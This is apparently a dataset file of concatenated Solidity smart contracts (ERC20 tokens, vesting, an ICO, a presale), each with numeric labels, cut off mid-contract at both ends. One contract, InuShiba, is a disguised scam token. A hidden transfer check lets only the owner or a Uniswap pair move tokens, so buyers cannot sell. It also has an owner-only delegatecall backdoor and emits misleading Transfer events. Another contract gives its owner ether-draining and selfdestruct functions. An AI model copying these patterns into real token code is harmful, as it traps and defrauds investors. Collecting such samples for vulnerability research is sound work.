(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract InuShiba {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,273 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract BurnRole{
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private _burners;
constructor () internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return _burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function renounceBurner() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
_burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners.remove(account);
emit BurnerRemoved(account);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Mintable is ERC20, MinterRole, Pausable {
function mint(address to, uint256 value) public onlyMinter whenNotPaused returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
contract ERC20Burnable is ERC20, BurnRole, Pausable {
function burn(uint256 value) public onlyBurner whenNotPaused returns (bool){
_burn(msg.sender, value);
return true;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event TokensReleased(address token, uint256 amount);
event TokenVestingRevoked(address token);
address private _beneficiary;
uint256 private _phase;
uint256 private _start;
uint256 private _duration;
bool private _revocable;
mapping (address => uint256) private _released;
mapping (address => bool) private _revoked;
constructor (address beneficiary, uint256 start, uint256 phase, uint256 duration, bool revocable) public {
require(beneficiary != address(0));
require(phase >= 1);
require(duration > 0);
require(start.add(duration) > block.timestamp);
_beneficiary = beneficiary;
_revocable = revocable;
_duration = duration;
_phase = phase;
_start = start;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function phase() public view returns (uint256) {
return _phase;
}
function start() public view returns (uint256) {
return _start;
}
function duration() public view returns (uint256) {
return _duration;
}
function revocable() public view returns (bool) {
return _revocable;
}
function released(address token) public view returns (uint256) {
return _released[token];
}
function revoked(address token) public view returns (bool) {
return _revoked[token];
}
function release(IERC20 token) public {
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0);
_released[address(token)] = _released[address(token)].add(unreleased);
token.safeTransfer(_beneficiary, unreleased);
emit TokensReleased(address(token), unreleased);
}
function revoke(IERC20 token) public onlyOwner {
require(_revocable);
require(!_revoked[address(token)]);
uint256 balance = token.balanceOf(address(this));
uint256 unreleased = _releasableAmount(token);
uint256 refund = balance.sub(unreleased);
_revoked[address(token)] = true;
token.safeTransfer(owner(), refund);
emit TokenVestingRevoked(address(token));
}
function _releasableAmount(IERC20 token) private view returns (uint256) {
return _vestedAmount(token).sub(_released[address(token)]);
}
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
if (block.timestamp < _start) {
return 0;
} else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) {
return totalBalance;
} else {
uint256 everyPhaseDuration = _duration.div(_phase);
uint256 currentPhase = (block.timestamp - _start).div(everyPhaseDuration);
return totalBalance.div(_phase).mul(currentPhase);
}
}
}
contract MToken is ERC20, ERC20Detailed, ERC20Pausable, ERC20Capped, ERC20Burnable {
using Address for address;
event TransferExtend(address indexed from, address indexed to, uint256 value, string name);
constructor(string memory name, string memory symbol, uint8 decimals, uint256 cap) ERC20Pausable() ERC20Burnable() ERC20Capped(cap) ERC20Detailed(name, symbol, decimals) ERC20() public {}
function mintVesting(address _to, uint256 _amount, uint256 start, uint256 phase, uint256 duration, bool revocable) public onlyMinter whenNotPaused returns (TokenVesting) {
TokenVesting vesting = new TokenVesting(_to, start, phase, duration, revocable);
mint(address(vesting), _amount);
return vesting;
}
function revokeVesting(TokenVesting vesting) public onlyMinter whenNotPaused returns(bool) {
require(address(vesting).isContract());
vesting.revoke(this);
return true;
}
function transfer(address to, uint256 value, string memory name) public whenNotPaused returns (bool) {
_transfer(msg.sender, to, value);
emit TransferExtend(msg.sender, to, value, name);
return true;
}
function transfer(address[] memory tos, uint256 value) public whenNotPaused returns (bool) {
require(tos.length > 0);
require(tos.length <= 50);
for(uint i = 0; i < tos.length; i ++){
_transfer(msg.sender, tos[i], value);
}
return true;
}
function transfer(address[] memory tos, uint256[] memory values) public whenNotPaused returns (bool) {
require(tos.length > 0);
require(tos.length <= 50);
require(values.length == tos.length);
for(uint i = 0; i < tos.length; i ++){
_transfer(msg.sender, tos[i], values[i]);
}
return true;
}
} | 0 | 2,467 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract UNLB is PausableToken {
string public constant name = "UnolaboToken";
string public constant symbol = "UNLB";
uint256 public constant decimals = 18;
function UNLB() {
owner = msg.sender;
}
function mint(address _x, uint _v) public onlyOwner {
balances[_x] += _v;
totalSupply += _v;
Transfer(0x0, _x, _v);
}
}
contract ICO is Pausable {
uint public constant ICO_START_DATE = 1511773200;
uint public constant ICO_END_DATE = 1525018620;
address public constant admin = 0xFeC0714C2eE71a486B679d4A3539FA875715e7d8;
address public constant teamWallet = 0xf16d5733A31D54e828460AFbf7D60aA803a61C51;
UNLB public unlb;
bool public isFinished = false;
event ForeignBuy(address investor, uint unlbValue, string txHash);
function ICO() {
owner = admin;
unlb = new UNLB();
unlb.pause();
}
function pricePerWei() public constant returns(uint) {
if (now < 1511799420) return 800.0 * 1 ether;
else if(now < 1511885820) return 750.0 * 1 ether;
else if(now < 1513181820) return 675.0 * 1 ether;
else if(now < 1515514620) return 575.0 * 1 ether;
else if(now < 1516205820) return 537.5 * 1 ether;
else return 500.0 * 1 ether;
}
function() public payable {
require(!paused && now >= ICO_START_DATE && now < ICO_END_DATE);
uint _tokenVal = (msg.value * pricePerWei()) / 1 ether;
unlb.mint(msg.sender, _tokenVal);
}
function foreignBuy(address _investor, uint _unlbValue, string _txHash) external onlyOwner {
require(!paused && now >= ICO_START_DATE && now < ICO_END_DATE);
require(_unlbValue > 0);
unlb.mint(_investor, _unlbValue);
ForeignBuy(_investor, _unlbValue, _txHash);
}
function finish(address _team, address _fund, address _bounty, address _backers) external onlyOwner {
require(now >= ICO_END_DATE && !isFinished);
unlb.unpause();
isFinished = true;
uint _total = unlb.totalSupply() * 100 / (100 - 12 - 15 - 5 - 3);
unlb.mint(_team, (_total * 12) / 100);
unlb.mint(_fund, (_total * 15) / 100);
unlb.mint(_bounty, (_total * 5) / 100);
unlb.mint(_backers, (_total * 3) / 100);
}
function withdraw() external onlyOwner {
teamWallet.transfer(this.balance);
}
} | 1 | 3,688 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 70000000;
uint256 public buyPrice = 2500;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'FCH', 'FCH') payable public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
owner.send(msg.value);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
function getEth(uint num) onlyOwner payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 0 | 607 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract AxiePresale is HasNoEther, Pausable {
using SafeMath for uint256;
uint8 constant public CLASS_BEAST = 0;
uint8 constant public CLASS_AQUATIC = 2;
uint8 constant public CLASS_PLANT = 4;
uint256 constant public INITIAL_PRICE_INCREMENT = 1600 szabo;
uint256 constant public INITIAL_PRICE = INITIAL_PRICE_INCREMENT;
uint256 constant public REF_CREDITS_PER_AXIE = 5;
mapping (uint8 => uint256) public currentPrices;
mapping (uint8 => uint256) public priceIncrements;
mapping (uint8 => uint256) public totalAxiesAdopted;
mapping (address => mapping (uint8 => uint256)) public axiesAdopted;
mapping (address => uint256) public referralCredits;
mapping (address => uint256) public axiesRewarded;
uint256 public totalAxiesRewarded;
event AxiesAdopted(
address indexed adopter,
uint8 indexed clazz,
uint256 quantity,
address indexed referrer
);
event AxiesRewarded(address indexed receiver, uint256 quantity);
event AdoptedAxiesRedeemed(address indexed receiver, uint8 indexed clazz, uint256 quantity);
event RewardedAxiesRedeemed(address indexed receiver, uint256 quantity);
function AxiePresale() public {
priceIncrements[CLASS_BEAST] = priceIncrements[CLASS_AQUATIC] =
priceIncrements[CLASS_PLANT] = INITIAL_PRICE_INCREMENT;
currentPrices[CLASS_BEAST] = currentPrices[CLASS_AQUATIC] =
currentPrices[CLASS_PLANT] = INITIAL_PRICE;
}
function axiesPrice(
uint256 beastQuantity,
uint256 aquaticQuantity,
uint256 plantQuantity
)
public
view
returns (uint256 totalPrice)
{
uint256 price;
(price,,) = _axiesPrice(CLASS_BEAST, beastQuantity);
totalPrice = totalPrice.add(price);
(price,,) = _axiesPrice(CLASS_AQUATIC, aquaticQuantity);
totalPrice = totalPrice.add(price);
(price,,) = _axiesPrice(CLASS_PLANT, plantQuantity);
totalPrice = totalPrice.add(price);
}
function adoptAxies(
uint256 beastQuantity,
uint256 aquaticQuantity,
uint256 plantQuantity,
address referrer
)
public
payable
whenNotPaused
{
require(beastQuantity <= 3);
require(aquaticQuantity <= 3);
require(plantQuantity <= 3);
address adopter = msg.sender;
address actualReferrer = 0x0;
if (referrer != adopter) {
actualReferrer = referrer;
}
uint256 value = msg.value;
uint256 price;
if (beastQuantity > 0) {
price = _adoptAxies(
adopter,
CLASS_BEAST,
beastQuantity,
actualReferrer
);
require(value >= price);
value -= price;
}
if (aquaticQuantity > 0) {
price = _adoptAxies(
adopter,
CLASS_AQUATIC,
aquaticQuantity,
actualReferrer
);
require(value >= price);
value -= price;
}
if (plantQuantity > 0) {
price = _adoptAxies(
adopter,
CLASS_PLANT,
plantQuantity,
actualReferrer
);
require(value >= price);
value -= price;
}
msg.sender.transfer(value);
if (actualReferrer != 0x0) {
uint256 numCredit = referralCredits[actualReferrer]
.add(beastQuantity)
.add(aquaticQuantity)
.add(plantQuantity);
uint256 numReward = numCredit / REF_CREDITS_PER_AXIE;
if (numReward > 0) {
referralCredits[actualReferrer] = numCredit % REF_CREDITS_PER_AXIE;
axiesRewarded[actualReferrer] = axiesRewarded[actualReferrer].add(numReward);
totalAxiesRewarded = totalAxiesRewarded.add(numReward);
AxiesRewarded(actualReferrer, numReward);
} else {
referralCredits[actualReferrer] = numCredit;
}
}
}
function redeemAdoptedAxies(
address receiver,
uint256 beastQuantity,
uint256 aquaticQuantity,
uint256 plantQuantity
)
public
onlyOwner
whenNotPaused
returns (
uint256 ,
uint256 ,
uint256
)
{
return (
_redeemAdoptedAxies(receiver, CLASS_BEAST, beastQuantity),
